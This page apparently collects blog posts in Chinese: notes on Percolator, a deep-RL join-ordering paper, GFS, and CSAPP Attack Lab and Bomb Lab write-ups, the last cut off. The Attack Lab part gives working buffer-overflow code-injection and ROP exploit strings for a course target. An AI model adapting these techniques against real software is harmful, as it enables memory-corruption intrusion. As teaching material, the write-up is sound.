Gepostet vor 14 minutes lesen (Über 2065 Wörter)

Google Percolator

背景

Percolator 事务模型是 Google 内部用于 Web 索引更新的业务提出的分布式事务协议，构建在 BigTable 之上，总体来说就是一个经过优化的二阶段提交的实现。使用基于 Percolator 的增量处理系统代替原有的批处理索引系统后，Google 在处理同样数据量的文档时，将文档的平均搜索延时降低了50%。

2PC

传统的 2PC 简单描述一下就是两步：

  1. 发起事务：事务管理器会发出 Prepare 请求，要求参与者记录日志，进行资源的检查和锁定
  2. 确认/取消事务：当请求得到所有参与者的成功确认后，事务管理器会发出 Commit 请求，执行真正的操作；如果第一步中只要有一个执行者返回失败，则取消事务

这样会有两个问题，一个就是单点故障：如果事务管理器发生故障，数据库会一直阻塞下去。尤其是在第二阶段发生故障的话，所有参与者还都处于锁定事务资源的状态中，从而无法继续完成事务操作；另一个就是存在数据不一致的情况：在第二阶段，当事务管理器向参与者发送 Commit 请求之后，发生了局部网络异常，导致只有部分参与者接收到请求，但是其他参与者未接到请求所以无法提交事务，整个系统就会出现数据不一致性的现象。

Percolator 事务流程

Percolator 事务是一个经过优化的 2PC 的实现，进行了一个二级锁的优化，也分为两个阶段：预写（Pre-write）和提交（Commit）。另外，所有启用了 Percolator 事务的表中，每一个 Column Family 都会预先增加两个列，分别是：

  • lock：存储事务过程中的锁信息
  • write：存储当前行可见（最近一次提交）的版本号

另外，为了简化场景，假设存储用户数据的列只有一个，名为 data。

Pre-write

  1. 客户端从 TSO 获取时间戳，记为 start_ts，并向 Percolator Worker 发起 Pre-write 请求。

  2. 在该事务包含的所有写操作中选取一个作为主（primary）操作，其余的作为次（secondary）操作。主操作将作为整个事务的互斥点，标记事务的状态。

  3. 先预写主操作，成功后再预写次操作。在预写过程中，对每一个写操作都要执行检查：

    • 检查写入的行对应的 lock 列是否有锁，如果有，说明其他事务正在写，直接取消整个事务
    • 检查写入的行对应的 write 列版本号是否晚于 start_ts，如果是，说明有版本冲突，直接取消整个事务

  4. 检查通过后，以 start_ts 作为版本号将数据写入 data 列，对操作行加锁，即更新 lock 列的锁信息：主操作行的 lock 直接标为primary，次操作行的 lock 则标为主操作行的键和列名。不更新write列，亦即此时写入的数据仍然不可见。

Commit

  1. 客户端从 TSO 获取时间戳，记为 commit_ts，并向 Percolator Worker 发起 Commit 请求。

  2. 检查主操作行对应的 lock 列所在的 primary 标记是否存在，如果不存在则失败，取消事务；如果存在则继续。

  3. 以 commit_ts 作为版本号，将 start_ts 更新到 write 列中。也就是说在本阶段完成后，预写阶段写入的数据将会可见。

  4. 对该行解锁，即删除 lock 列的 primary 信息。

  5. 若步骤 1~4 均成功，说明主操作行成功，代表整个事务实际上已经提交。接下来更新每个 secondary 即可，即重复步骤3、4的更新 write 列和清除 lock 列操作。secondary 的 commit 是可以异步进行的，只是在异步提交进行的过程中，如果此时有读请求，可能会需要做一下锁的清理工作。

案例

银行转账，Bob 向 Joe 转账 7 元。该事务于 start_ts=7 开始，commit_ts=8 结束，Key 为 Bob 和 Joe 的行可能在不同的分片上。具体过程如下：

  1. 首先查询 write 列获取最新时间戳数据，获取到 data@5，然后从 data 列里面获取时间戳为 5 的数据，初始状态下，Bob 的帐户下有 10，Joe 的帐户下有 2。
  1. 事务开始，获取 start_ts=7 作为当前事务的开始时间戳，将 Bob 行选为本事务的 primary，通过写入 lock 列锁定 Bob 的帐户，同时将数据 7:$3 写入到 data 列。
  1. 同样，使用 start_ts=7，将 Joe 改变后的余额写入到 data 列，当前操作作为 secondary，因此在 lock 列写入 7:Primary@Bob.bal（当失败时，能够快速定位到 primary 操作，并根据其状态异步清理）。
  1. 事务带着当前时间戳 commit_ts=8 进入 Commit 阶段：删除 primary 所在的 lock，并在 write 列中写入以提交时间戳作为版本号指向数据存储的一个指针 data@7。至此，读请求过来时将看到 Bob 的余额为 3。
  1. 同样，使用 commit_ts=8，依次在 secondary 操作项中写入 write 列并清理锁。
  1. 至此，整个当前 Percolator 事务已完成。

对比

相比 2PC 存在的问题，来看看 Percolator 事务模型有哪些改进。

  1. 单点故障
    Percolator 通过日志和异步线程的方式弱化了这个问题。一是，Percolator 引入的异步线程可以在事务管理器宕机后，回滚各个分片上的事务，提供了善后手段，不会让分片上被占用的资源无法释放。二是，事务管理器可以用记录日志的方式使自身无状态化，日志通过共识算法同时保存在系统的多个节点上。这样，事务管理器宕机后，可以在其他节点启动新的事务管理器，基于日志恢复事务操作。

  2. 数据不一致
    2PC 的一致性问题主要缘自第二阶段，不能确保事务管理器与多个参与者的通讯始终正常。但在 Percolator 的第二阶段，事务管理器只需要与 primary 操作所在的一个节点通讯，这个 Commit 操作本身就是原子的。所以，事务的状态自然也是原子的，一致性问题被完美解决了。

Snapshot Isolation

传统关系型数据库中定义的隔离级别有4种（RU、RC、RR、S），而 Percolator 事务模型提供的隔离级别是快照隔离（Snapshot Isolation, SI），它也是与 MVCC 相辅相成的。SI的优点是：

  • 对于读操作，保证能够从时间戳/版本号指定的稳定快照获取，不会发生幻读
  • 对于写操作，保证在多个事务并发写同一条记录时，最多只有一个会提交成功

如图，基于快照隔离的事务，开始于 start timestamp（图内为小空格），结束于 commit timestamp（图内为小黑球）。本例包含以下信息：

  1. txn_2 不能看到 txn_1 的提交信息，因为 txn_2 的开始时间戳 start timestamp 小于 txn_1 的提交时间戳 commit timestamp
  2. txn_3 可以看到 txn_2 和 txn_1 的提交信息
  3. txn_1 和 txn_2 并发执行：如果它们对同一条记录进行写入，至少有一个会失败

参考

  1. Peng D, Dabek F, Inc G . “Large-scale Incremental Processing Using Distributed Transactions and Notifications” (2010).
Gepostet vor 13 minutes lesen (Über 1885 Wörter)

Learning to Optimize Join Queries With Deep Reinforcement Learning

Background

传统的多表 join 算法采用的是动态规划：

  1. 从初始 query graph 开始
  2. 找到 cost 最少的 join
  3. 更新 query graph 直到只剩下一个节点。但这种贪心策略并不会保证一定会选到合适的 join order，因为它只直观表示了每个 join 的短期cost。例如：

动态规划的结果 cost 为 140，而最优解的 cost 为 110。

Learning to Optimize Join Queries With Deep Reinforcement Learning 论文中将 join 问题表示为马尔可夫决策过程（MDP），然后构建了一个使用深度 Q 网络（DQN）的优化器，用来有效地优化 join 顺序。

Method

将连接排序表示为 MDP：

  • 状态G：a query graph
  • 动作c：a join
  • 下一个状态G’：join后的query graph
  • 奖励J(c)：join的估算成本

用 Q-Learning 算法来解决 join 顺序 MDP。在 Q-Learning 中最关键的是得到 Q 函数 Q(G,c)，它可以知道当前 query graph 中进行每个 join 的长期cost。如果我们可以访问真正的 Q(G,c)，就可以对传统的动态规划进行改进：

  1. 从初始 query graph 开始
  2. 找到 Q(G,c) 值最小的 join
  3. 更新 query graph 直到只剩下一个节点，从而得到最优的 join order。实际上我们无法访问真正的 Q 函数，因此，我们需要训练一个神经网络，它接收 (G,c) 作为输入，并输出估算的 Q(G,c)。在论文中算法如下，给定query：

状态 G 和动作 c 的特征化

  1. query graph 中的每个关系的所有属性放入集合 A-G 中；join 左侧的所有属性放入集合 A-L 中；join 右侧的所有属性放入集合 A-R 中。并使用 1-hot 向量来编码。对于该例子，论文中表示如下：
  1. 对于查询中的每个选择，我们可以获得 selectivity ∈ [0,1]（用来估计选择后存在的元组占选择前总元组的比例），我们需要根据 selectivity 的值去更新向量。例如：
  1. 还可以根据在物理计划中选择的具体 join 算法去产生新的 1-hot 向量（例如，IndexJoin 为 [1 0], HashJoin 为 [0 1]）,与原向量进行串联，如下：

根据在论文 2.5 节的假设：

在这里我们就可以知道 query graph 特征 fG 为 fG = AG，join 决策特征 fc 为 fc = A-L ⊕ A-R，对于一个特定的元组（G,c）特征化为 fG ⊕ fc。

模型训练

DQ 使用多层感知机（MLP）神经网络来表示 Q 函数。它以（G,c）的最终特征化 fG ⊕ fc 作为输入。在实验中发现，两层的 MLP 可以提供最佳表现。模型使用随机梯度下降算法进行训练。

执行

训练后，在原有基础上再对多表 join 算法进行改进：

  1. 从初始 query graph 开始
  2. 使每个 join 特征化
  3. 找到模型估计的 Q 值最小的 join（即神经网络的输出）
  4. 更新 query graph 直到只剩下一个节点，从而得到最优的 join order。在执行过程中，还可以对 DQ 进行进一步微调。

Experiment Result

论文中使用了 Join Order Benchmark（JOB） 来评估 DQ。这个数据库由来自 IMDB 的 21 个表组成，并提供了 33 个查询模板和 113 个查询。查询中的连接关系大小范围为 5 到 15 个。当连接关系的数量不超过 10 个时，DQ 从穷举中收集训练数据。

将 DQ 与几个启发式优化器（QuickPick 和 KBZ）以及经典动态规划（left-deep、right-deep、zig-zag）进行比较。对每个优化器生成的计划进行评分，并与最优计划（通过穷举获得）进行比较。
此外，论文中设计了 3 个成本模型：

  1. Cost Model 1（Index Mostly）：模拟内存数据库并鼓励使用索引连接
  2. Cost Model 2（Hybrid Hash）：仅考虑具有内存预算的散列连接和嵌套循环连接
  3. Cost Model 3（Hash Reuse）：考虑重用已构建的散列表

进行了 4 轮交叉验证后，确保仅对未出现在训练工作负载中的查询进行 DQ 评估（对于每种情况，论文中在 80 个查询上训练并测试其中的 33 个）。计算查询的平均次优性，即“成本（算法计划）/ 成本（最佳计划）”，这个数字越低越好。例如，对 Const Model 1，DQ 平均距离最佳计划 1.32 倍。结果如下：

在所有成本模型中，DQ 在没有指数结构的先验知识的前提下可以与最优解决方案一比高下。对于固定的动态规划，情况并非如此：例如，left-deep 在 CM1 中产生了良好的计划，但在 CM2 和 CM3 中效果没有那么好。同样，right-deep在 CM1 中没有竞争力，但如果使用 CM2 或 CM3，right-deep 不是最差的。需要注意的是，基于学习的优化器比手动设计的算法更强大，可以适应工作负载、数据或成本模型的变化。

此外，DQ 以比传统动态规划快得多的速度产生了良好的计划：

对于最大的连接（15），DQ 的速度是穷举的 10000 倍，比 zig-zag 快 1000 倍，比 left-deep 和 right-deep 快 10 倍。

Future work

本文研究中存在的不足：

  1. 奖励值（即J(c)）依赖于数据库系统的代价模型，当代价估计错误时，算法的 join 计划无法达到最优
  2. 需要大量的 query 进行训练，估计的 Q 函数的值才能趋向稳定

可以拓展的思路：
同样使用强化学习，参考于 SkinnerDB: Regret-Bounded Query Evaluation via Reinforcement Learning，一条 join query 的执行框架如下：

查询时，Pre-Processor 首先通过一元谓词过滤基表，接着由 Join Processor 生成查询的连接顺序与执行结果，最后调用 Post-Processor 对结果进行分组、聚合与排序等操作。

Join Processor 包括 4 部分，Join Processor 将每个连接操作分为多个时间片，每个时间片首先由 Learning Optimizer 选择连接顺序，选中的连接顺序由特定的 Join Executor 执行，每次执行固定时长，并将执行结果加入结果集中。Progress Tracker 跟踪被处理的数据，最后由 Reward Calcultor 计算连接顺序的得分。当所有数据被连接后，完成连接操作。学习优化器使用强化学习领域的上限置信区间算法（UCT），在每个时间片中根据连接顺序的枚举空间生成搜索树，并选择一条路径。UCT 算法的特点即不依赖任何具体示例的参数设置，能够适用于较大的搜索空间。

该算法不需要任何查询上下文及 Cardinality 估计模型。

Gepostet vor 12 minutes lesen (Über 1868 Wörter)

Google File System

背景

GFS 是 Google 针对大数据处理场景设计的分布式文件系统，Google 对数据量的持续增长的设想如下：

  • 需要能够运行在经常故障的物理机环境上。只有做到这点，这个系统才能运行在几百到上千台规模下，并采用相对便宜的服务器硬件
  • 大文件居多。存储在 GFS 上的文件的不少都在几个 GB 这样的级别
  • 大多数写是append写，即在文件末尾追加
  • 性能主要考量是吞吐而不是延时

接口

GFS 以目录树的形式组织文件，但是并没有提供类似 POSIX 标准的文件系统操作。操作只要包含 create, open, write, read, close, delete, append, snapshot，其中 snapshot 用于快速复制一个文件或者目录，允许多个客户端并行追加数据到一个文件。

架构

整体架构上，GFS 由单一的 master 节点、chunkserver 和提供给用户的 client 三大部分组成：

client 与 chunkserver 都不会缓存文件数据，为的是防止数据出现不一致的状况，但是 client 会缓存 metadata 的信息。

master

一方面存储所有的 metadata，负责管理所有的元信息，包括表示文件系统目录结构的 namespace、访问控制信息、文件与 chunk 的映射关系、chunk 的位置信息；另一方面管理 chunk 租约、chunk 迁移(如果 chunkserver 挂掉)、维护与 chunkserver 之间的心跳。

  • namespace 采用全内存的数据结构，以提高访问的吞吐
  • namespace 是一个查找表(lookup table)，并且采用了前缀压缩的方式存储在内存中，它是一个树结构，树中每一个节点(文件名或目录名)都有一个读/写锁。在对文件或目录操作的时候需要获取锁，例如修改 /root/foo/bar，需要获得 /root、/root/foo 的读锁，/root/foo/bar 的写锁
  • master 本身并不记录 chunk 的位置，而是在启动的时候，通过收取 chunkserver 的信息来构建。这种设计避免了 master 和 chunkserver 的信息不一致的问题(因为以 chunkserver 为准)
  • master 和 chunkserver 通过定期心跳来保持信息同步、感知 chunkserver 故障等
  • master 往磁盘上写操作日志，并将这些日志同步到其他物理机保存的方式来确保数据安全性。当前 master 机器故障的时候，可以通过这些日志和 chunkserver 的心跳内容，可以恢复到故障前的状态
  • 对于操作日志，会定期在系统后台执行 checkpoint；checkpoint 构建成一个类似B+树、可以快速的 load 到内存中直接使用的结构
  • master 需要定期检查每个 chunk 的副本情况，如果副本低于配置值，就需要将通知 chunkserver 进行复制；如果存在一些多余的 chunk (file 已经被删除了)，就需要做一些清理工作

chunkserver

每个 chunk 有一个 64 位标识符(chunk handle)，它是在 chunk 被创建时由 master 分配的，每一个 chunk 会有多个副本，分别在不同的机器上，每个副本会以 Linux 文件的形式存储在 chunkserver 的本地磁盘上。
GFS 中将 chunk 的大小定为 64 MB，它比一般的文件系统的块大小要大。优点：减少 metadata 的数量、减少 client 与 master 的交互、client 可以在一个 chunk 上执行更多的操作，通过 TCP 长连接减少网络压力；缺点：如果在一个 chunk 上有一个可执行文件，同时有许多 client 都要请求执行这个文件，它的压力会很大。
chunk 的位置信息在 master 中不是一成不变的，master 会通过定期的 heartbeat 进行更新，这样做能够减小开销，这样做就不用 master 与 chunkserver 时刻保持同步通信(包括 chunkserver 的加入、退出、改名、宕机、重启等)。chunkserver 上有一个 final word，它表示了哪个 chunk 在它的磁盘上，哪个 chunk 不在。

一致性模型

defined：状态已定义，从客户端角度来看，客户端完全了解已写入集群的数据
consistent：客户端来看chunk多副本的数据完全一致，但不一定defined

  • 串行写：客户端自己知道写入文件范围以及写入数据内容，且本次写入在数据服务器的多副本上均执行成功，每个客户端的写操作串行执行，因此最终结果是 defined
  • 并行写：每次写入在数据服务器的多副本上均执行成功，所以结果是 consistent，但客户端无法得知写操作的执行顺序，即使每次操作都成功，客户端无法确定在并发写入时交叉部分，所以是 undefined
  • 追加写：客户端能够根据 offset 确切知道写入结果，无论是串行追加还是并发追加，其行为是 defined，追加时至少保证一次副本写成功，如果存在追加失败，则多个副本之间某个范围的数据可能不一致，因此是 interspersed with inconsistent。

GFS 租约

GFS 使用租约机制 (lease) 来保障 mutation (指的是改变了 chunk 的内容或者 metadata，每一次 mutation 都应该作用于所有的备份) 的一致性：多个备份中的一个持有 lease，这个备份被称为 primary replica (其余的备份为 secondary replicas)，GFS 会把所有的 mutation 都序列化(串行化)，让 primary 执行，secondary 也按相同顺序执行，primary 是由 master 选出来的，一个 lease 通常 60 秒会超时。

写流程

  1. client 向 master 请求持有 lease 的 chunk (primary replica) 位置和其他 replicas 的位置(如果没有 chunk 持有 lease，那么 master 会授予其中一个 replica 一个 lease)
  2. master 返回 primary 的信息和其他 replicas 的位置，然后 client 将这些信息缓存起来(只有当 primary 无法通信或者该 primary replica 没有 lease 了，client 才会向 master 再次请求)
  3. client 会将数据发送到所有的 replicas，每个 chunkserver 会把数据存在 LRU 缓存中
  4. 在所有的 replicas 都收到了数据之后，client 会向 primary 发送写请求。primary 会给它所收到的所有 mutation 分配序列号(这些 mutation 有可能不是来自于同一个 client)，它会在自己的机器上按序列号进行操作
  5. primary 给 secondaries 发送写请求，secondaries 会按相同的序列执行操作
  6. secondaries 告知 primary 操作执行完毕
  7. primary 向 client 应答，期间的错误也会发送给 client，client 错误处理程序 (error handler) 会重试失败的 mutation

读流程

  1. client 向 master 发出 A 文件的读请求

  2. master 收到后返回 A 文件的 chunk handler 和 chunk 的位置

  3. client 携带 chunk handle 以及位偏移向对应的 chunkserver 发出请求

  4. chunkserver 读取并返回数据至 client

参考

  1. Ghemawat, Sanjay, Howard Gobioff, and Shun-Tak Leung. “The Google file system.” (2003).
Gepostet vor 10 minutes lesen (Über 1528 Wörter)

Attack Lab

本文记录 CSAPP 的 Attack Lab 完成方案。

1. ctarget 部分

Level 1

level 1 要求我们在 getbuf 输入字符串后，利用溢出来重写栈中 getbuf 函数返回的地址，让函数调用 touch1。

1
2
3
4
5
6
7
0000000000401713 <getbuf>:
  401713:	48 83 ec 38          	sub    $0x38,%rsp
  401717:	48 89 e7             	mov    %rsp,%rdi
  40171a:	e8 3b 02 00 00       	callq  40195a <Gets>
  40171f:	b8 01 00 00 00       	mov    $0x1,%eax
  401724:	48 83 c4 38          	add    $0x38,%rsp
  401728:	c3                   	retq

根据这段汇编代码我们可以确定，getbuf 在栈中分配了0x38比特的内存来存储输入的字符串。如果我们输入的字符串长度超过 56，就可以覆盖掉 getbuf 的返回地址了，所以，我们只需要把输入的第 56-63 个字符填写为 touch1 函数的地址就行了。
需要注意的是，我们输入的字符应该用两位十六进制数来表示，然后通过 hex2raw 来将其转换成字符串。另外，我这里数据都是用小端法来保存的，所以低位在前：

1
2
3
4
5
6
7
8
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
29 17 40 00 00 00 00 00

Level 2

level 2 要求我们注入我们自己写的代码，并把程序转移到我们写的代码处运行，也就是执行 touch2。
如何通过我们的代码跳转到 touch2 函数？
首先，我们需要找到缓冲区的起始地址，在 getbuf 处打断点，查看 $rsp：

1
2
(gdb) p $rsp
$1 = (void *) 0x5565fd40

可以知道，0x5565fd40 - 0x38 = 0x5565fd08 就是缓冲区的起始地址，我们需要和前面的 level 1 一样，让缓冲区溢出，56-63 个字符填写为缓冲区的起始地址，另外在缓冲区的起始处注入我们自己写的代码，这样程序才能执行我们想要的结果。
我们注入的代码逻辑应该是：

  • 将 cookie 值赋给 %edi 作为 touch2 函数的参数
  • 将 touch2 函数的地址入栈
  • ret，让函数执行 touch2

转为汇编就是：

1
2
3
movl $0x2a2e4a08, %edi
pushq $0x0000000000401755
ret

这里需要用到 gcc 内联汇编的方法，编写 level2.c :

1
2
3
4
5
6
7
8
9
10
int main(void)
{
	asm
	(
	 "movl $0x2a2e4a08, %edi\n\t"
	 "pushq $0x0000000000401755\n\t"
	 "ret"
	);
	return 0;
}

编译并查看其反汇编代码：

1
2
gcc level2.c -o level2.out
objdump -d level2.out

可以看到我们想要的汇编代码：

1
2
3
4004f1:       bf 08 4a 2e 2a          mov    $0x2a2e4a08,%edi
4004f6:       68 55 17 40 00          pushq  $0x401755
4004fb:       c3                      retq

那么我们在缓冲区注入字符就是：

1
2
3
4
5
6
7
8
bf 08 4a 2e 2a 68 55 17 
40 00 c3 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
08 fd 65 55 00 00 00 00

Level 3

level 3 要求我们执行 touch3，touch3 接收的参数是 cookie 的字符串的地址。
有了 level 2 的经验，我们知道需要在 56-63 个字符填写缓冲区的起始地址，另外在缓冲区的起始处注入我们自己写的代码。我们把 cookie 字符串放在第 64-71 个字符，这样，我们注入的代码就是：

1
2
3
movl $0x5565fd48, %edi
pushq $0x0000000000401829
ret

0x5565fd08 + 64 = 0x5565fd48 是 cookie 字符串的地址，0x0000000000401829 是 touch3 函数地址。同样地，用 gcc 内联汇编的方法得到汇编代码，最终我们在缓冲区注入字符就是：

1
2
3
4
5
6
7
8
9
bf 48 fd 65 55 68 29 18 
40 00 c3 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
08 fd 65 55 00 00 00 00
32 61 32 65 34 61 30 38

2. rtarget 部分

Level 2

与之前的 level 2 相同，我们需要为 %rdi 赋上 cookie 值，再跳转到 touch2 函数执行，跳转到 touch2 只需要将 touch2 的入口地址放在最后一个 gadget 之后，在它的 ret 指令执行之后就会返回到 touch2 中。
查看 farm.s：

1
2
3
000000000000001b <getval_188>:
  1b:	b8 3c cd 58 c3       	mov    $0xc358cd3c,%eax
  20:	c3                   	retq

58 c3 对应 popq %rax，这条指令的地址是 0x1b + 3 = 0x1e。

1
2
3
0000000000000028 <setval_279>:
  28:	c7 07 48 89 c7 c3    	movl   $0xc3c78948,(%rdi)
  2e:	c3                   	retq

48 89 c7 c3 对应 movq %rax,%rdi，这条指令的地址是 0x28 + 2 = 0x30。
再查看 rtarget.s：

1
2
3
00000000004018b1 <start_farm>:
  4018b1:	b8 01 00 00 00       	mov    $0x1,%eax
  4018b6:	c3                   	retq

start_farm 的起始地址是 0x4018b1。所以 popq %rax 这条指令最终的地址是 0x1e + 0x4018b1 = 0x4018cf；所以 movq %rax,%rdi 这条指令最终的地址是 0x30 + 0x4018b1 = 0x4018e1。
level 2(rtarget) 最终结果为：

1
2
3
4
5
6
7
8
9
10
11
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
cf 18 40 00 00 00 00 00 /* popq %rax */
08 4a 2e 2a 00 00 00 00 /* 将 cookie 存入 %rax */
e1 18 40 00 00 00 00 00 /* movq %rax,%rdi */
55 17 40 00 00 00 00 00 /* 返回到 touch2 */

Level 3

与之前的 level 3 相同，需要将 %rdi 指向 cookie 的字符串表示的首地址。我们需要把 cookie 字符串放在高地址，根据 %rsp 和偏移量去取地址。
在 farm.s 中：

1
2
3
0000000000000042 <add_xy>:
  42:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  46:	c3                   	retq

lea (%rdi,%rsi,1) %rax 就是 %rax = %rdi + %rsi，所以，只要能够让 %rdi 和 %rsi 其中一个保存 %rsp，另一个保存偏移量，就可以计算出 cookie 存放的地址，然后 movq %rax,%rdi 再调用 touch3 就可以了。
所以，分两步走：先保存一个栈顶地址，这里我通过 %rsp -> %rax -> %rdi 保存到 %rdi 中，再将偏移量通过 %eax(%rax) -> %ecx -> %edx -> %esi 保存到 %esi(%rsi) 中。注意，偏移量的值需要等所有指令写完后才能确定。
level 3(rtarget) 最终结果为：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
1e 19 40 00 00 00 00 00 /* movq %rsp,%rax (48 89 e0) */
e1 18 40 00 00 00 00 00 /* movq %rax,%rdi (48 89 c7) */
cf 18 40 00 00 00 00 00 /* popq %rax (58) */
/* %rdi中保存的是 movq %rsp,%rax 这条指令的栈顶地址，所以最终偏移量为 0x48 */
48 00 00 00 00 00 00 00 /* 偏移量 */
58 19 40 00 00 00 00 00 /* movl %eax,%ecx (89 c1) */
7a 19 40 00 00 00 00 00 /* movl %ecx,%edx (89 ca) */
0c 19 40 00 00 00 00 00 /* movl %edx,%esi (89 d6) */
f3 18 40 00 00 00 00 00 /* add_xy */
e1 18 40 00 00 00 00 00 /* movq %rax,%rdi (48 89 c7) */
29 18 40 00 00 00 00 00 /* touch3地址 */
32 61 32 65 34 61 30 38 /* 目标字符串 */

最终结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[root@iZbp10zyqxzc2aoa1tgk8iZ target53]# ./hex2raw < 2017302580193-ctarget.l1 | ./ctarget
Cookie: 0x2a2e4a08
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[root@iZbp10zyqxzc2aoa1tgk8iZ target53]# ./hex2raw < 2017302580193-ctarget.l2 | ./ctarget
Cookie: 0x2a2e4a08
Type string:Touch2!: You called touch2(0x2a2e4a08)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[root@iZbp10zyqxzc2aoa1tgk8iZ target53]# ./hex2raw < 2017302580193-ctarget.l3 | ./ctarget
Cookie: 0x2a2e4a08
Type string:Touch3!: You called touch3("2a2e4a08")
Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[root@iZbp10zyqxzc2aoa1tgk8iZ target53]# ./hex2raw < 2017302580193-rtarget.l1 | ./rtarget
Cookie: 0x2a2e4a08
Type string:Touch2!: You called touch2(0x2a2e4a08)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[root@iZbp10zyqxzc2aoa1tgk8iZ target53]# ./hex2raw < 2017302580193-rtarget.l2 | ./rtarget
Cookie: 0x2a2e4a08
Type string:Touch3!: You called touch3("2a2e4a08")
Valid solution for level 3 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!

repo

My solutions to CSAPP labs

Gepostet vor 16 minutes lesen (Über 2468 Wörter)

Bomb Lab

本文记录 CSAPP 的 Bomb Lab 完成方案。

bomb 1

在 phase_1 中， 调用 strings_not_equal 函数：

1
2
3
4
5
6
7
8
9
10
000000000000140f <phase_1>:
    140f:	48 83 ec 08          	sub    $0x8,%rsp
    1413:	48 8d 35 36 1d 00 00 	lea    0x1d36(%rip),%rsi        # 3150 <_IO_stdin_used+0x150>
    141a:	e8 f0 04 00 00       	callq  190f <strings_not_equal>
    141f:	85 c0                	test   %eax,%eax
    1421:	75 05                	jne    1428 <phase_1+0x19>
    1423:	48 83 c4 08          	add    $0x8,%rsp
    1427:	c3                   	retq   
    1428:	e8 ee 05 00 00       	callq  1a1b <explode_bomb>
    142d:	eb f4                	jmp    1423 <phase_1+0x14>

如果字符串不相等，函数返回 1，jne 指令发生跳转，进入 explode_bomb 函数；如果字符串相等的话，函数返回 0，jne 指令不发生跳转，直接退出。
strings_not_equal 函数有两个参数，分别为%rdi和%rsi: 

1
2
3
4
5
6
7
8
000000000000190f <strings_not_equal>:
    190f:	41 54                	push   %r12
    1911:	55                   	push   %rbp
    1912:	53                   	push   %rbx
    1913:	48 89 fb             	mov    %rdi,%rbx
    1916:	48 89 f5             	mov    %rsi,%rbp
    1919:	e8 d4 ff ff ff       	callq  18f2 <string_length>
    ...

一个参数为字符串输入，另一个参数由 phase_1 传入。因此，用 gdb 在 strings_not_equal 处进行断点调试，便可得出答案：

1
2
3
4
5
6
7
8
9
10
11
12
13
(gdb) break strings_not_equal
Breakpoint 1 at 0x190f
(gdb) run
Starting program: /mnt/c/ubuntu/bomb65/bomb 
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
test

Breakpoint 1, 0x000000000800190f in strings_not_equal ()
(gdb) p (char*)$rdi
$1 = 0x80056a0 <input_strings> "test"
(gdb) p (char*)$rsi
$2 = 0x8003150 "I am just a renegade hockey mom."

第一关答案为 I am just a renegade hockey mom. 。

bomb 2

直接看 phase_2：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
000000000000142f <phase_2>:
    ...
    143e:	48 89 44 24 18       	mov    %rax,0x18(%rsp)
    1443:	31 c0                	xor    %eax,%eax
    1445:	48 89 e6             	mov    %rsp,%rsi
    1448:	e8 f4 05 00 00       	callq  1a41 <read_six_numbers>
    144d:	83 3c 24 00          	cmpl   $0x0,(%rsp)              -> arr[0] = 0
    1451:	75 07                	jne    145a <phase_2+0x2b>
    1453:	83 7c 24 04 01       	cmpl   $0x1,0x4(%rsp)           -> arr[1] = 1
    1458:	74 05                	je     145f <phase_2+0x30>
    145a:	e8 bc 05 00 00       	callq  1a1b <explode_bomb>
    145f:	48 89 e3             	mov    %rsp,%rbx                -> %rbx = arr[0]
    1462:	48 8d 6b 10          	lea    0x10(%rbx),%rbp          -> %rbp = arr[4]
    1466:	eb 0e                	jmp    1476 <phase_2+0x47>
    1468:	e8 ae 05 00 00       	callq  1a1b <explode_bomb>
    146d:	48 83 c3 04          	add    $0x4,%rbx                -> %rbx = arr[1]
    1471:	48 39 eb             	cmp    %rbp,%rbx                -> if (%rbx == arr[4])
    1474:	74 0c                	je     1482 <phase_2+0x53>
    1476:	8b 43 04             	mov    0x4(%rbx),%eax           -> %eax = arr[1]
    1479:	03 03                	add    (%rbx),%eax              -> %eax = arr[0] + arr[1]
    147b:	39 43 08             	cmp    %eax,0x8(%rbx)           -> if (%eax == arr[2])
    147e:	74 ed                	je     146d <phase_2+0x3e>
    1480:	eb e6                	jmp    1468 <phase_2+0x39>
    1482:	48 8b 44 24 18       	mov    0x18(%rsp),%rax
    1487:	64 48 33 04 25 28 00 	xor    %fs:0x28,%rax
    ...

在 147b 处，若 arr[2] = arr[0] + arr[1]，则函数继续跳转到 146d 处执行，这时 %rbx 的保存的地址由 arr[0] 变为 arr[1]，接下来判断 arr[3], arr[4]……直到 %rbx == arr[4]，也就是判断完了 arr[5] 后停止。因此可以得出，这 6 个数由前两项分别为 0 和 1 的斐波拉契数列组成。第二关答案为 0 1 1 2 3 5 。

bomb 3

在 phase_3 中：

1
2
14c1:	e8 5a fc ff ff       	callq  1120 <__isoc99_sscanf@plt>
14c6:	83 f8 01             	cmp    $0x1,%eax

在 14c6 处打断点，输入多个数后，打印 %eax 中的值：

1
2
(gdb) i r eax
eax            0x2      2

